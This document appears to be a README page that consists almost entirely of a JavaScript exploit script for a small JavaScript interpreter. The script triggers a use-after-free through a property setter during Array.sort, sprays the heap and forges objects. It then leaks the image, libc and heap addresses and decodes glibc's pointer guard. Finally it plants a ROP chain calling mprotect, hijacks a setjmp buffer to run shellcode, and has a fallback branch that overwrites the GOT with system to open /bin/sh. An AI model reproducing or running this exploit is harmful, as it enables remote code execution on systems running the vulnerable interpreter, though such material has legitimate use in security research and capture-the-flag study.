README.md
Rendering markdown...
var bail = false;
var debug = true;
//print logs for debugging
function log(str) {
if (debug === true)
print(str + "\n");
}
//convert hex string to binary representation
function hex2bin(str) {
bin_u = parseInt(str.substring(0, 8), 16).toString(2);
bin_l = parseInt(str.substring(8, 16), 16).toString(2);
return ljust(bin_u, 16) + ljust(bin_l, 16);
}
//helper function for getting addresses
function add_off(base, off) {
return ljust((parseInt(base, 16) + off).toString(16), 8);
}
//rotate right
function ror(val, shift, sz) {
var bits = hex2bin(val);
bits = bits.substring(sz-shift, sz) + bits.substring(0, sz-shift);
var bits_u = ljust(parseInt(bits.substring(0, sz/2), 2).toString(16), 4);
var bits_l = ljust(parseInt(bits.substring(sz/2, sz), 2).toString(16), 4);
return bits_u + bits_l;
}
//rotate left
function rol(val, shift, sz) {
var bits = hex2bin(val);
bits = bits.substring(shift, sz) + bits.substring(0, shift);
var bits_u = ljust(parseInt(bits.substring(0, sz/2), 2).toString(16), 4);
var bits_l = ljust(parseInt(bits.substring(sz/2, sz), 2).toString(16), 4);
return bits_u + bits_l;
}
//glibc ptr demangling
function ptr_demangle(ptr, key) {
var rot = ror(ptr, 0x11, 64);
var rot_u = parseInt(rot.substring(0, 8), 16);
var rot_l = parseInt(rot.substring(8, 16), 16);
var key_u = parseInt(key.substring(0, 8), 16);
var key_l = parseInt(key.substring(8, 16), 16);
var res_u = (rot_u ^ key_u);
var res_l = (rot_l ^ key_l);
if (res_u < 0) {
res_u = 0xffffffff + res_u + 1;
}
if (res_l < 0) {
res_l = 0xffffffff + res_l + 1;
}
res_u = ljust(res_u.toString(16), 4);
res_l = ljust(res_l.toString(16), 4);
return res_u + res_l;
}
//glibc ptr mangling
function ptr_mangle(ptr, key) {
var key_u = parseInt(key.substring(0, 8), 16);
var key_l = parseInt(key.substring(8, 16), 16);
var ptr_u = parseInt(ptr.substring(0, 8), 16);
var ptr_l = parseInt(ptr.substring(8, 16), 16);
var xored_u = (ptr_u ^ key_u);
var xored_l = (ptr_l ^ key_l);
if (xored_u < 0) {
xored_u = 0xffffffff + xored_u + 1;
}
if (xored_l < 0) {
xored_l = 0xffffffff + xored_l + 1;
}
xored_u = ljust(xored_u.toString(16), 4);
xored_l = ljust(xored_l.toString(16), 4);
var xored = xored_u + xored_l;
return rol(xored, 0x11, 64);
}
//convert hex sequence to its double representation
function hex2double(str) {
var frac_0 = "1";
var sign = parseInt(parseInt(str[0], 16).toString(2)[0], 2);
var exp = parseInt(str.substring(0, 3), 16);
if (exp == 0) {
exp = 1;
frac_0 = "0";
}
var bias = 1023;
var fracT = parseInt(frac_0 + str.substring(3, 8), 16) * Math.pow(16, 8);
var fracB = parseInt(str.substring(8, 16), 16);
var frac = fracT + fracB;
var res = Math.pow(2, exp-bias) * (frac * Math.pow(2, -52));
return (sign) ? res * -1 : res;
}
//pack strings
function p64(str) {
var encoded = "";
for (var i=0; i<0x10; i+=2) {
var curr = str.substring(i, i+2);
if (curr === "00") {
continue;
} else if (parseInt(curr, 16) < 0x7f && parseInt(curr, 16) > 0x1f) {
encoded = String.fromCharCode(parseInt(curr, 16)) + encoded;
} else {
encoded = "%" + curr + encoded;
}
}
return decodeURI(encoded);
}
//unpack strings
function u64(str) {
var encoded = encodeURI(str);
var decoded = "";
for (var i=0; i<encoded.length && decoded.length < 0x10; i++) {
if (encoded[i] === "%") {
decoded = encoded[i+1] + encoded[i+2] + decoded;
i += 2;
} else {
val = encoded.charCodeAt(i).toString(16);
val = (val.length < 2) ? "0" + val : val;
decoded = val + decoded;
}
}
while (decoded.length < 0x10) {
decoded = "0" + decoded;
}
return decoded;
}
//allocate heap objects to reset bins
function reset_heap(size) {
log("Spraying heap.");
var padding = new Array(size);
for (var i=0; i<size/2; i++) {
padding[i] = true;
}
for (var i=size/2; i<size; i++) {
padding[i] = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5];
}
return padding;
}
//pad left
function ljust(str, sz) {
while (str.length < sz*2)
str = "0" + str;
return str;
}
function fakesort() {
//get uaf && null out LSB of ptr
function get_uaf() {
var pad4buf = "deadbeefbabecafedeadbeefbabecafedeadbeefbabecaf";
delete victim.temp;
for (var i=0; i<0x100; i++) {
fill_buf = "";
fill_buf = fill_buf.concat(pad4buf);
}
return;
}
//find fake js_Object offset in array
function find_offset(arr, obj) {
var min = 0x0;
var max = 0xd;
while (min != max-1) {
var avg = Math.floor((max + min) / 2);
for (var i=min; i<avg; i++) {
obj.headers[i] = js_fun;
}
for (var i=avg; i<max; i++) {
obj.headers[i] = js_obj;
}
var type = typeof(arr);
if (type === "function") {
max = avg;
} else {
min = avg;
}
}
return min;
}
//write vals to addr
function seed_vals(addr, vals) {
for (var i=vals.length-1; i>=0; i--) {
victim.headers[off+3] = hex2double(add_off(addr, i*8-8));
fake_obj[0] = "aaaaaaaa" + p64(vals[i]);
}
return;
}
//js_Object headers
var js_obj = 1.0;
var js_arr = 1.0000000000000002;
var js_fun = 1.0000000000000004;
var js_script = 1.0000000000000007;
var js_cfun = 1.0000000000000009;
var js_err = 1.000000000000001;
var js_bool = 1.0000000000000013;
var js_num = 1.0000000000000016;
var js_str = 1.0000000000000018;
var js_regex = 1.000000000000002;
var js_date = 1.0000000000000022;
var js_math = 1.0000000000000024;
var js_json = 1.0000000000000027;
var js_args = 1.0000000000000029;
var js_iter = 1.000000000000003;
var js_user = 1.0000000000000033;
//variables
var padding = new Array();
var limit = 0x50;
var fill_buf = "";
var uaf_setter = {set: get_uaf};
var fake_arr_field = new String();
fake_arr_field += "000000000";
var shellcode = "Shellcode goes here ;)";
//setup
Object.defineProperty(Object.prototype, "get", uaf_setter);
while (true) {
padding.push(reset_heap(0x2000));
for (var i=0; i<0x7; i++) {
delete padding[padding.length-1][i];
}
var victim = {
get temp() {
return;
},
headers: [js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_obj, js_obj, js_obj],
set temp(val) {
return;
}
}
//trigger vuln
var res = Object.getOwnPropertyDescriptor(victim, "temp");
var fake_obj = res.set;
var type = typeof(fake_obj);
if (type === "object") {
log("Offset too small, retrying.");
continue;
} else if (type === "function") {
//find the offset
var off = find_offset(fake_obj, victim);
if (off === 0) {
log("Setter function is base aligned, retrying.");
continue;
}
log("Offset found: " + off);
//leak main image base
victim.headers[off] = js_arr;
victim.headers[off+2] = fake_arr_field;
victim.headers[off+3] = print;
var print_addr = u64(fake_obj[2]);
var img_base = add_off(print_addr, -0x486b0);
var got_start = add_off(img_base, 0x54000);
log("Address of image base: " + img_base);
//leak libc base
victim.headers[off+3] = hex2double(got_start);
var fopen_addr = u64(fake_obj[9]);
var libc_base = add_off(fopen_addr, -0x7f6b0);
var mprotect_addr = add_off(libc_base, 0x11ec50);
var system_addr = add_off(libc_base, 0x50d60);
log("Address of libc base: " + libc_base);
//leak heap objects
victim.headers[off+3] = print;
var print_obj_addr = u64(fake_obj[0x11]);
var js_state_obj_addr = add_off(print_obj_addr, -0x1fdf0);
log("Address of js_State object: " + js_state_obj_addr);
if (bail) {
log("Popping a shell.");
victim.headers[off+3] = hex2double(got_start);
fake_obj[10] = hex2double(system_addr);
var rce = load("/bin/sh");
quit();
}
//decode ptr guard value
var js_dofile_off = add_off(img_base, 0x37b5e);
var try_buf_base = add_off(js_state_obj_addr, 0x1190);
var try_buf_off = add_off(try_buf_base, 8);
victim.headers[off+3] = hex2double(try_buf_off);
var try_rip_man = u64(fake_obj[3]);
if (try_rip_man.length < 7) {
log("Cannot decode ptr guard value.");
bail = true;
continue;
}
var ptr_guard = ptr_demangle(try_rip_man, js_dofile_off);
log("Mangled setjmp rip: " + try_rip_man);
log("Decoded ptr_guard value: " + ptr_guard);
//seed shellcode
var exe = new String(decodeURI(shellcode));
victim.headers[off+3] = exe;
var shellcode_addr = u64(fake_obj[2]);
var shellcode_aligned = shellcode_addr.substring(0, 0x10-3) + "000";
log("Address of shellcode: " + shellcode_addr);
//gadgets:
ret = add_off(img_base, 0x401a);
poprdi = add_off(img_base, 0x4a19);
poprsi = add_off(img_base, 0x74cb);
poprdx = add_off(img_base, 0x3d1b2);
add_sil_sil = add_off(img_base, 0xb2ce);
inc_rbx_off = add_off(img_base, 0x38fa3);
//seed ropchain to call mprotect
var ropchain_addr = add_off(try_buf_base, 0x300);
var rop = new Array();
rop.push(poprdx);
rop.push(ljust("07", 8));
rop.push(poprsi);
rop.push(ljust("1080", 8));
rop.push(add_sil_sil);
rop.push(inc_rbx_off);
rop.push(poprdi);
rop.push(add_off(shellcode_aligned, -1));
rop.push(mprotect_addr);
rop.push(shellcode_addr);
seed_vals(ropchain_addr, rop);
log("Address of seeded ropchain: " + ropchain_addr);
//modify try buffer
var rbx = add_off(ropchain_addr, 0x77f0fd3b + 0x38);
var rsp = ptr_mangle(ropchain_addr, ptr_guard);
var rip = ptr_mangle(ret, ptr_guard);
log("Mangled sp: " + rsp);
log("Mangled ip: " + rip);
victim.headers[off+3] = hex2double(add_off(try_buf_base, 0));
fake_obj[0] = p64(rbx);
victim.headers[off+3] = hex2double(add_off(try_buf_base, 7));
fake_obj[0] = 0;
victim.headers[off+3] = hex2double(add_off(try_buf_base, 0x30));
fake_obj[0] = p64(rsp);
victim.headers[off+3] = hex2double(add_off(try_buf_base, 0x38));
fake_obj[0] = p64(rip);
log("Modified setjmp buffer: " + try_buf_base);
//trigger exception && exec shellcode
victim.headers[off+3] = hex2double(add_off(js_state_obj_addr, 0x1180));
fake_obj[0] = decodeURI("aaaaaaaa%01");
log("Standby for RCE :)");
throw "pwn :]";
} else {
//heap state is rly fucked up
reset_heap(0x5000);
continue;
}
if (padding.length == limit) break;
}
return 0;
}
function pwn() {
var array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5];
array.sort(fakesort); //pause the garbage collector
}
pwn();